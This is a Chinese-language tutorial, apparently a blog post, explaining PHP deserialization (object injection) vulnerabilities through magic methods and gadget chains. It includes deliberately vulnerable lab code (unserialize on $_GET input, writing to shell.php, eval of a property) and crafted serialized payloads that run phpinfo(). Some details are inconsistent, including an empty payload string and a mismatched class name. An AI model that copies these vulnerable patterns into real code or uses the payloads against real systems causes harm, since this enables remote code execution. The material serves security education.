serialize()
当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。测试代码如下:
1 2 3 4 5 6 7
| O为存储对象,如果给serialize()传入的是一个数组,那就是A 1为对象名称有1个字符 a为对象名称 1表示有一个值 s表示字符串,i则表示数字 4表示字符串的长度 test为字符串的名称
|
unserialize()
与serizalize()对应的,unserialize()可以从已存储的表示中创建PHP的值,可以从序列化后的结果中恢复对象(object)。
反序列化漏洞
利用构造函数等
Magic function
php中有一类特殊的方法叫“Magic function”:
1 2 3
| 构造函数__constru(): 当对象创建(new)时会自动调用,但在unserialize()时是不会调用的。 析构函数__destruct(): 当对象被销毁时会自动调用 __wakeup(): unserialize()时会自动调用
|
测试如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php class a{ var $test = "aaa"; function __wakeup(){ echo "__wakeup()函数已被调用"; echo "</br>"; }
function __construct(){ echo "__construct()函数已被调用"; echo "</br>"; }
function __destruct(){ echo "__destruct()函数已被调用"; echo "</br>"; } } $class1 = 'O:1:"a":1:{s:4:"test";s:3:"aaa";}'; print_r($class1); echo "</br>"; $class1_unser = unserialize($class1); print_r($class1_unser); echo "</br>"; ?>
|
运行结果如下:
因为没有创建对象,所以构造函数construct()不会被调用,但是wakeup()跟__destruct()函数
wakeup()或destruct()的利用
因为unserialize()后wakeup()或destruct()会直接调用,中间无需其他的过程。因此最好的情况就是一些漏洞/危害代码在wakeup()或destruct()中,从而当我们控制序列化字符串时可以直接取触发它们。如:
通过serialize()得到我们要的序列化字符串,之后再传进去。通过源代码得知,把对象test赋值为”“,再调用unserialize()时会通过__wakeup()把$test写入shell.php中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class a{ var $test = 'aaa'; function __wakeup(){ $fp = fopen("shell.php","w"); fwrite($fp, $this -> test); fclose($fp); } } $class1 = new a(); $class1 -> test = "<?php phpinfo(); ?>"; $class1_ser = serialize($class1); print_r($class1_ser); print("</br>"); $class1_unser = unserialize($class1_ser); print_r($class1_unser); ?>
|
运行结果:
shell.php文件
成功写入shell.php文件
但具体的环境多是下面代码这样,我们的test是我们可控的参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class a{ var $test = 'aaa'; function __wakeup(){ $fp = fopen("shell.php","w"); fwrite($fp, $this -> test); fclose($fp); } } $class1 = $_GET['test']; print_r($class1); echo "</br>"; $class1_unser = unserialize($class1); require "shell.php";
?>
|
利用上述代码生成参数O:1:”a”:1:{s:4:”test”;s:18:”“;}
传如参数得:
其他Magic function的利用
有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,最后找到漏洞点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php class b{ function __construct($test){ $fp = fopen("shell.php","w"); fwrite($fp, $test); fclose($fp); } }
class a{ var $test = 'aaa'; function __wakeup(){ $obj = new a($this -> test); } }
$class1 = $_GET['test']; print_r($class1); echo "</br>"; $class1_unser = unserialize($class1); require "shell.php"; ?>
|
这里我们给test传入构造好的序列化字符串后,进行反序列化时自动调用 \wakeup()函数,从而在new joker()会自动调用对象joker中的\construct()方法,从而把写入到shell.php中:
利用普通成员方法
前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php class a{ var $test; function __construct(){ $this -> test = new b(); } function __destruct(){ $this -> test -> action(); } }
class b{ function action(){ echo "b"; } }
class c{ var $test2; function action(){ eval($this -> test2); } } $class1 = new a(); unserialize($_GET['test']); ?>
|
本意上,new一个新的a对象后,调用construct(),其中有new了一个b对象。结束后会调用destruct(),其中会调用action(),从而输出 b。
利用过程,构造序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class a{ var $test; function __construct(){ $this -> test = new c(); } }
class c{ var $test2 = "phpinfo();"; } echo serialize(new a()); ?>
|
得
1
| O:1:"a":1:{s:4:"test";O:1:"c":1:{s:5:"test2";s:10:"phpinfo();";}}
|
传给test.php,成功利用: